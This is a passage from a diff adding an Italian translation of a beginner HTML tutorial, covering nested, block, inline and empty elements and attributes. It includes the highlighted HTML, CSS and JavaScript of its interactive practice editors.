+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">0.7</span>rem<span class="punctuation token">;</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">98%</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">body </span><span class="punctuation token">{</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> <span class="hexcode token">#f5f9fa</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'code'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> reset <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'reset'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> solution <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'solution'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.output'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> code <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+<span class="keyword token">var</span> userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  output<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+reset<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> code<span class="punctuation token">;</span>
+  userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+  solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span>
+  solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span>
+  <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+solution<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> solutionEntry<span class="punctuation token">;</span>
+    solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Hide solution'</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> userEntry<span class="punctuation token">;</span>
+    solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> htmlSolution <span class="operator token">=</span> <span class="string token">'&lt;em&gt;This is my text.&lt;/em&gt;'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span>
+
+textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// stop tab key tabbing out of textarea and</span>
+<span class="comment token">// make it write a tab at the caret position instead</span>
+
+textarea<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">9</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    e<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="function token">insertAtCaret</span><span class="punctuation token">(</span><span class="string token">'\t'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">27</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    textarea<span class="punctuation token">.</span><span class="function token">blur</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">insertAtCaret</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> scrollPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>scrollTop<span class="punctuation token">;</span>
+  <span class="keyword token">var</span> caretPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>selectionStart<span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> front <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> caretPos<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> back <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>selectionEnd<span class="punctuation token">,</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> front <span class="operator token">+</span> text <span class="operator token">+</span> back<span class="punctuation token">;</span>
+  caretPos <span class="operator token">=</span> caretPos <span class="operator token">+</span> text<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span>selectionStart <span class="operator token">=</span> caretPos<span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span>selectionEnd <span class="operator token">=</span> caretPos<span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span>scrollTop <span class="operator token">=</span> scrollPos<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Update the saved userCode every time the user updates the text area code</span>
+
+textarea<span class="punctuation token">.</span>onkeyup <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+  <span class="comment token">// We only want to save the state when the user code is being shown,</span>
+  <span class="comment token">// not the solution, so that solution is not saved over the user code</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    solutionEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 300) }}</p>
+
+<h3 id="Elementi_annidati">Elementi annidati</h3>
+
+<p>Puoi inserire elementi dentro altri elementi: si dice annidare (<strong>nesting)</strong>. Se vogliamo sottolineare che il nostro gatto è MOLTO scontroso (VERY grumpy) possiamo racchiudere la parola "very" in un elemento {{htmlelement("strong")}}, per enfatizzarla fortemente.</p>
+
+<pre class="brush: html">&lt;p&gt;My cat is &lt;strong&gt;very&lt;/strong&gt; grumpy.&lt;/p&gt;</pre>
+
+<p>Dovete assicurarvi che gli elementi siano annidati in modo appropriato: nell'esempio viene aperto prima l'elemento <code>p</code> e poi l'elemento <code>strong</code>, dobbiamo perciò chiudere prima l'elemento <code>strong</code> e poi l'elemento <code>p</code>. L'esempio seguente è sbagliato:</p>
+
+<pre class="example-bad brush: html">&lt;p&gt;My cat is &lt;strong&gt;very grumpy.&lt;/p&gt;&lt;/strong&gt;</pre>
+
+<p>Gli elementi devono essere aperti e chiusi correttamente perché sia chiaro se sono all'interno o all'esterno uno dell'altro. Se si mescolano, come nell'esempio qui sopra, il browser cercherà di indovinare quali erano le tue intenzioni e potrebbe darti risultati inaspettati. Quindi presta attenzione.</p>
+
+<h3 id="Confronto_tra_elementi_blocco_e_in_linea">Confronto tra elementi "blocco" e "in linea"</h3>
+
+<p>Ci sono due importanti categorie di elementi in HTML. Questi sono gli elementi di tipo blocco (block level) e elementi in linea (inline).</p>
+
+<ul>
+ <li>Gli elementi di tipo block level, occupano un'area (blocco) sulla pagina — appariranno sempre su una nuova linea e qualunque contenuto successivo apparirà anch'esso su una nuova linea. I blocchi, tendenzialmente, sono elementi strutturali della pagina che rappresentano: ad esempio paragrafi, liste, menù di navigazione, piè di pagina, ecc. Un blocco non dovrebbe venir inserito all'interno di un elemento inline, ma può essere annidato in un altro blocco.</li>
+ <li>Gli elementi inline sono quelli contenuti all'interno degli elementi blocco e delimitano solo piccole parti di contenuto del documento: non interi paragrafi o raggruppamenti di contenuti. Un elemento inline non determina la comparsa di una nuova linea nel documento; normalmente appariranno all'interno di un paragrafo e sono elementi tipo un collegamento ad un'altra pagina o sezione di quella in cui ci si trova ({{htmlelement("a")}}) o elementi di enfatizzazione come {{htmlelement("em")}} o {{htmlelement("strong")}}.</li>
+</ul>
+
+<p>Prendete l'esempio seguente:</p>
+
+<pre class="brush: html">&lt;em&gt;first&lt;/em&gt;&lt;em&gt;second&lt;/em&gt;&lt;em&gt;third&lt;/em&gt;
+
+&lt;p&gt;fourth&lt;/p&gt;&lt;p&gt;fifth&lt;/p&gt;&lt;p&gt;sixth&lt;/p&gt;
+</pre>
+
+<p>{{htmlelement("em")}} è un elemento in linea, che viene mostrato nell'esempio sottostante, i tre elementi saranno mostrati sulla stessa linea senza nessuno spazio a separarli.</p>
+
+<p>{{htmlelement("p")}} è un elemento blocco, quindi ogni elemento dichiarato con questo tag, apparirà su una nuova linea con spazi sopra e sotto (la spaziatura è dovuta alla formattazione di default (<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS styling</a>) che il browser applica ai paragrafi).</p>
+
+<p>{{ EmbedLiveSample('Confronto_tra_elementi_blocco_e_in_linea', 700, 200) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: l'HTML5 ha ridefinito le categorie degli elementi: approfondisci in <a href="http://www.whatwg.org/specs/web-apps/current-work/complete/section-index.html#element-content-categories">Categorie degli elementi di contenuto </a>(en) queste nuove definizioni sono più accurate e meno ambigue di quelle definite precedentemente, ma più complicate da capire rispetto a "blocchi" e "in linea", perciò continueremo a usarle in questa spiegazione.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: I termini "block" e "inline", come usati in questo argomento , non dovrebbero essere confusi con <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">i tipi dei box CSS</a> con lo stesso nome. Anche se correlati per default, cambiare la proprietà display nei CSS non cambia la categoria dell'elemento e non modifica quali elementi potrebberso essere contenuti e quali saranno contenuti. Uno dei motivi per cui HTLM5 a deprecato l'uso di questi termini, riguarda la possibilità che questi vengano confusi.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Nelle pagine di riferimento, troverai delle liste che includono gli elementi di Blocco e quelli In linea — controlla <a href="https://developer.mozilla.org/it/docs/Web/HTML/Block-level_elements">Elementi di tipo blocco </a> e <a href="https://developer.mozilla.org/it/docs/Web/HTML/Inline_elements">Elementi in linea</a>.</p>
+</div>
+
+<h3 id="Elementi_vuoti">Elementi vuoti</h3>
+
+<p>Non tutti gli elementi seguono il modello: tag di apertura, contenuto, tag di chiusura. Alcuni elementi hanno un unico tag, che è abitualmente usato per includere qualcosa nel documento in quel punto. Per esempio l'elemento {{htmlelement("img")}} inserisce un'immagine nella posizione in cui viene scritto.</p>
+
+<pre class="brush: html">&lt;img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"&gt;</pre>
+
+<p>Questo fa apparire ciò che segue:</p>
+
+<p>{{ EmbedLiveSample('Elementi_vuoti', 700, 300) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Gli elementi vuoti sono a volte chiamati <em>elementi void</em>.</p>
+</div>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p>Gli elementi possono avere "attributi" che appaiono così:</p>
+
+<p><img alt='&amp;amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;amp;lt;/p>' src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>Gli attributi contengono informazioni extra, riguardanti l'elemento, che non appaiano nel contenuto visualizzato nella pagina. In questo caso, l'attributo <code>class</code> permette di assegnare uno o più nomi che potrà/anno poi  essere usato/i per puntare alle regole di stile per quell elemento o altro.</p>
+
+<p>Un attributo deve avere:</p>
+
+<ol>
+ <li>uno spazio tra lui e il nome dell'elemento (o il precedente attributo, se l'elemento ha già uno o più attributi.)</li>
+ <li>il nome dell'attributo seguito dal segno di uguale</li>
+ <li>un valore racchiuso tra virgolette</li>
+</ol>
+
+<h3 id="Active_learning_aggiunta_di_attributi_ad_un_elemento">Active learning: aggiunta di attributi ad un elemento</h3>
+
+<p>Un altro esempio di elemento é {{htmlelement("a")}} — che sta per "anchor" e rende il contenuto dell'elemento un collegamento ipertestuale (hyperlink). Questo elemento può avere diversi attributi, come vediamo qui sotto:</p>
+
+<ul>
+ <li><code>href:</code> Il valore di questo attributo è l'indirizzo web a cui si vuole che il link punti, ed a cui verra indirizzato il browser quando verrà cliccato. Ad esempio <code>href="https://www.mozilla.org/"</code>.</li>
+ <li><code>title</code>: Questo attributo, fornirà informazioni aggiuntive sul link, come ad esempio il nome della pagina a cui si verrà indirizzati. Ad esempio, <code>title="The Mozilla homepage"</code>. Questo attributo verrà mostrato come tooltip quando ci si posizionerà con il mouse sopra il link.</li>
+ <li><code>target</code>: L'attributo <code>target</code> indica il modo in cui si aprirà il link. Ad esempio, <code>target="_blank"</code> mostrerà il link in un nuovo tab / finestra. Se si vuol aprire il link nel/la tab/finestra corrente, basterà ometterlo.</li>
+</ul>
+
+<p>Modifica la linea sottostante nel campo <em>Input</em> per farne un link al tuo sito preferito. Per prima cosa, aggiungi l'elemento {{htmlelement("a")}}. Poi specifica gli attributi <code>href</code> e <code>title</code>. Ed infine, specifica l'attributo <code>target</code> affinche il collegamento si aprà in un nuovo/a tab/finestra.Vedrai l'effetto dei cambiamenti nel campo <em>Output</em> mentre digiti.  Dovresti vedere un link che mostrerà il valore dell'attributo <code>title</code> quando il puntatore del mouse verrà posizionato sopra e aprirà la pagina definita dal valore dell'attributo <code>href</code>. Ricorda di lasciare uno spazio tra nome dell'elemento e attributi.</p>
+
+<p>Se hai commesso un errore, puoi sempre tornare allo stato iniziale con il pulsante Reset. Se non riesci proprio a trovare la soluzione, premi il pulsante Mostra soluzione e vedrai la risposta.</p>
+
+<div class="hidden">
+<h6 id="Playable_code2">Playable code2</h6>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;</span></span>Live output<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h2</span><span class="punctuation token">&gt;Input</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h2</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>a11y-label<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Premi Esc per uscire dall'area del codice (La pressione del tasto Tab inserirà un carattere di tabulazione).<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>code<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>input<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">100</span>px<span class="punctuation token">;</span><span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">95%</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="entity token" title="&lt;">&amp;lt;</span>p<span class="entity token" title=">">&amp;gt;</span>Un collegamento al mio sito web preferito.<span class="entity token" title="&lt;">&amp;lt;</span>/p<span class="entity token" title=">">&amp;gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>textarea</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-buttons<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Reset<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>solution<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"Mostra</span> soluzion<span class="punctuation token">e"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: css line-numbers  language-css">html {
+  font-family: sans-serif;
+}
+
+<code class="language-css"><span class="selector token">h2 </span><span class="punctuation token">{</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">16</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.a11y-label</span> </span><span class="punctuation token">{</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+  <span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span>
+  <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">0.7</span>rem<span class="punctuation token">;</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">98%</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">body </span><span class="punctuation token">{</span>
+  <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> <span class="hexcode token">#f5f9fa</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'code'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> reset <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'reset'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> solution <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'solution'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.output'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> code <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+<span class="keyword token">var</span> userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  output<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+reset<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> code<span class="punctuation token">;</span>
+  userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+  solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span>
+  solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Mostra soluzione'</span><span class="punctuation token">;</span>
+  <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+solution<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Mostra soluzione'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> solutionEntry<span class="punctuation token">;</span>
+    solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Nascondi soluzione'</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> userEntry<span class="punctuation token">;</span>
+    solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Mostra soluzione'</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+  <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> htmlSolution <span class="operator token">=</span> <span class="string token">'&lt;p&gt;Un collegamento al mio &lt;a href="https://www.mozilla.org/" title="The Mozilla homepage" target="_blank"&gt;sito web preferito&lt;/a&gt;.&lt;/p&gt;'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span>
+
+textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// stop tab key tabbing out of textarea and</span>
+<span class="comment token">// make it write a tab at the caret position instead</span>
+
+textarea<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">9</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    e<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="function token">insertAtCaret</span><span class="punctuation token">(</span><span class="string token">'\t'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">27</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    textarea<span class="punctuation token">.</span><span class="function token">blur</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">insertAtCaret</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> scrollPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>scrollTop<span class="punctuation token">;</span>
+  <span class="keyword token">var</span> caretPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>selectionStart<span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> front <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> caretPos<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> back <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>selectionEnd<span class="punctuation token">,</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> front <span class="operator token">+</span> text <span class="operator token">+</span> back<span class="punctuation token">;</span>
+  caretPos <span class="operator token">=</span> caretPos <span class="operator token">+</span> text<span class="punctuation token">.</span>length<span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span>selectionStart <span class="operator token">=</span> caretPos<span class="punctuation token">;</span>
